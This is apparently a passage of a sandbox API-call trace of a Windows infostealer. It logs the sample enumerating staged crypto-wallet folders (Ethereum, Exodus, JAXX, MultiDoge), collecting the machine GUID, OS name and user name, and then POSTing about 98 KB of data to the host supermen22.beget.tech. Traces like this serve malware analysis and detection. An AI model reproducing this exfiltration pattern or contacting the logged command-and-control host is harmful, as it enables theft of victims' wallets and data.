lpString1="\\Wallets\\Ethereum\\.") returned="\\Wallets\\Ethereum\\." [0053.745] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.745] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 1 [0053.745] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum" [0053.745] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\" [0053.745] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\.." [0053.745] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\Ethereum" | out: lpString1="\\Wallets\\Ethereum") returned="\\Wallets\\Ethereum" [0053.745] lstrcatW (in: lpString1="\\Wallets\\Ethereum", lpString2="\\" | out: lpString1="\\Wallets\\Ethereum\\") returned="\\Wallets\\Ethereum\\" [0053.745] lstrcatW (in: lpString1="\\Wallets\\Ethereum\\", lpString2=".." | out: lpString1="\\Wallets\\Ethereum\\..") returned="\\Wallets\\Ethereum\\.." [0053.745] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.745] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.745] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0 [0053.745] FindClose (in: hFindFile=0x58a200 | out: hFindFile=0x58a200) returned 1 [0053.745] PathMatchSpecW (pszFile="Ethereum", pszSpec="*.*") returned 1 [0053.746] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.746] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.746] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="Exodus" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" [0053.746] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.746] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.746] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0053.746] lstrcmpW (lpString1="Exodus", lpString2=".") returned 1 [0053.746] lstrcmpW (lpString1="Exodus", lpString2="..") returned 1 [0053.746] lstrcpyW (in: lpString1=0x19e0f8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" [0053.746] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\*.*" [0053.746] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\*.*", lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0x589fc0 [0053.746] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" [0053.746] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\" [0053.746] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\." [0053.746] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0053.746] lstrcatW (in: lpString1="\\Wallets\\Exodus", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\") returned="\\Wallets\\Exodus\\" [0053.746] lstrcatW (in: lpString1="\\Wallets\\Exodus\\", lpString2="." | out: lpString1="\\Wallets\\Exodus\\.") returned="\\Wallets\\Exodus\\." [0053.746] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.746] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 1 [0053.746] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" [0053.746] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\" [0053.746] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\.." [0053.746] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0053.746] lstrcatW (in: lpString1="\\Wallets\\Exodus", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\") returned="\\Wallets\\Exodus\\" [0053.746] lstrcatW (in: lpString1="\\Wallets\\Exodus\\", lpString2=".." | out: lpString1="\\Wallets\\Exodus\\..") returned="\\Wallets\\Exodus\\.." [0053.746] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.746] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.746] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0 [0053.746] FindClose (in: hFindFile=0x589fc0 | out: hFindFile=0x589fc0) returned 1 [0053.746] PathMatchSpecW (pszFile="Exodus", pszSpec="*.*") returned 1 [0053.747] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.747] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.747] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="JAXX" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX" [0053.747] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.747] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.747] lstrcatW (in: lpString1="\\Wallets\\", lpString2="JAXX" | out: lpString1="\\Wallets\\JAXX") returned="\\Wallets\\JAXX" [0053.747] lstrcmpW (lpString1="JAXX", lpString2=".") returned 1 [0053.747] lstrcmpW (lpString1="JAXX", lpString2="..") returned 1 [0053.747] lstrcpyW (in: lpString1=0x19e0f8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX" [0053.747] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\*.*" [0053.747] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\*.*", lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0x58a0c0 [0053.747] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX" [0053.747] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\" [0053.747] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\." [0053.747] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\JAXX" | out: lpString1="\\Wallets\\JAXX") returned="\\Wallets\\JAXX" [0053.747] lstrcatW (in: lpString1="\\Wallets\\JAXX", lpString2="\\" | out: lpString1="\\Wallets\\JAXX\\") returned="\\Wallets\\JAXX\\" [0053.747] lstrcatW (in: lpString1="\\Wallets\\JAXX\\", lpString2="." | out: lpString1="\\Wallets\\JAXX\\.") returned="\\Wallets\\JAXX\\." [0053.747] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.747] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 1 [0053.747] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX" [0053.747] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\" [0053.747] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\JAXX\\.." [0053.747] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\JAXX" | out: lpString1="\\Wallets\\JAXX") returned="\\Wallets\\JAXX" [0053.747] lstrcatW (in: lpString1="\\Wallets\\JAXX", lpString2="\\" | out: lpString1="\\Wallets\\JAXX\\") returned="\\Wallets\\JAXX\\" [0053.747] lstrcatW (in: lpString1="\\Wallets\\JAXX\\", lpString2=".." | out: lpString1="\\Wallets\\JAXX\\..") returned="\\Wallets\\JAXX\\.." [0053.747] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.747] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.747] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0 [0053.747] FindClose (in: hFindFile=0x58a0c0 | out: hFindFile=0x58a0c0) returned 1 [0053.748] PathMatchSpecW (pszFile="JAXX", pszSpec="*.*") returned 1 [0053.748] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0053.748] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0053.748] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="MultiDoge" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge" [0053.748] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0053.748] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0053.748] lstrcatW (in: lpString1="\\Wallets\\", lpString2="MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0053.748] lstrcmpW (lpString1="MultiDoge", lpString2=".") returned 1 [0053.748] lstrcmpW (lpString1="MultiDoge", lpString2="..") returned 1 [0053.748] lstrcpyW (in: lpString1=0x19e0f8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge" [0053.748] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\*.*" [0053.748] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\*.*", lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0x58a300 [0053.748] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge" [0053.748] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\" [0053.748] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\." [0053.748] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0053.748] lstrcatW (in: lpString1="\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="\\Wallets\\MultiDoge\\") returned="\\Wallets\\MultiDoge\\" [0053.748] lstrcatW (in: lpString1="\\Wallets\\MultiDoge\\", lpString2="." | out: lpString1="\\Wallets\\MultiDoge\\.") returned="\\Wallets\\MultiDoge\\." [0053.748] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.748] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 1 [0053.748] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge" [0053.748] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\" [0053.748] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\MultiDoge\\.." [0053.748] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Wallets\\MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge" [0053.748] lstrcatW (in: lpString1="\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="\\Wallets\\MultiDoge\\") returned="\\Wallets\\MultiDoge\\" [0053.748] lstrcatW (in: lpString1="\\Wallets\\MultiDoge\\", lpString2=".." | out: lpString1="\\Wallets\\MultiDoge\\..") returned="\\Wallets\\MultiDoge\\.." [0053.748] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.748] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.748] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0 [0053.749] FindClose (in: hFindFile=0x58a300 | out: hFindFile=0x58a300) returned 1 [0053.749] PathMatchSpecW (pszFile="MultiDoge", pszSpec="*.*") returned 1 [0053.749] PathMatchSpecW (pszFile="Wallets", pszSpec="*.*") returned 1 [0053.750] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x394) returned 0x0 [0053.750] RegQueryValueExA (in: hKey=0x394, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x34, lpcbData=0x19f85c*=0x25) returned 0x0 [0053.750] RegCloseKey (hKey=0x394) returned 0x0 [0053.750] CharToOemA (in: pSrc="427a1946-e0ff-4097-8c9e-ca2c1e22780b", pDst=0x19f860 | out: pDst="427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 1 [0053.750] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x394) returned 0x0 [0053.750] RegQueryValueExA (in: hKey=0x394, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x57, lpcbData=0x19f85c*=0xf) returned 0x0 [0053.750] RegCloseKey (hKey=0x394) returned 0x0 [0053.750] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x19f860 | out: pDst="Windows 10 Pro") returned 1 [0053.750] GetCurrentProcess () returned 0xffffffff [0053.750] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19fa60 | out: Wow64Process=0x19fa60) returned 1 [0053.750] GetUserNameA (in: lpBuffer=0x19f95c, pcbBuffer=0x19f958 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19f958) returned 1 [0053.751] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x593dc8 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.751] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0053.752] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0053.752] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f8b4, dwBufferLength=0x4) returned 1 [0053.752] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0053.752] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0053.752] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0053.752] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0053.752] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0053.752] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0053.752] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0053.752] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0053.752] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 98304", dwHeadersLength=0x15, dwModifiers=0x20000000) returned 1 [0053.752] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x1e90048*, dwOptionalLength=0x18000 | out: lpOptional=0x1e90048*) returned 1 [0070.734] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0 | out: lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0) returned 0 [0070.734] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e82790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f734 | out: lpBuffer=0x1e82790*, lpdwNumberOfBytesRead=0x19f734*=0x0) returned 1 [0070.734] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0 | out: lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0) returned 0 [0070.734] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.735] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0070.735] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0156.748] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f858 | out: phkResult=0x19f858*=0x2e4) returned 0x0 [0156.748] RegQueryValueExA (in: hKey=0x2e4, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f960, lpcbData=0x19f85c*=0xff | out: lpType=0x0, lpData=0x19f960*=0x34, lpcbData=0x19f85c*=0x25) returned 0x0 [0156.748] RegCloseKey (hKey=0x2e4) returned 0x0 [0156.748] CharToOemA (in: pSrc="427a1946-e0ff-4097-8c9e-ca2c1e22780b", pDst=0x19f860 | out: pDst="427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 1 [0156.748] RegOpenKeyExA (in: 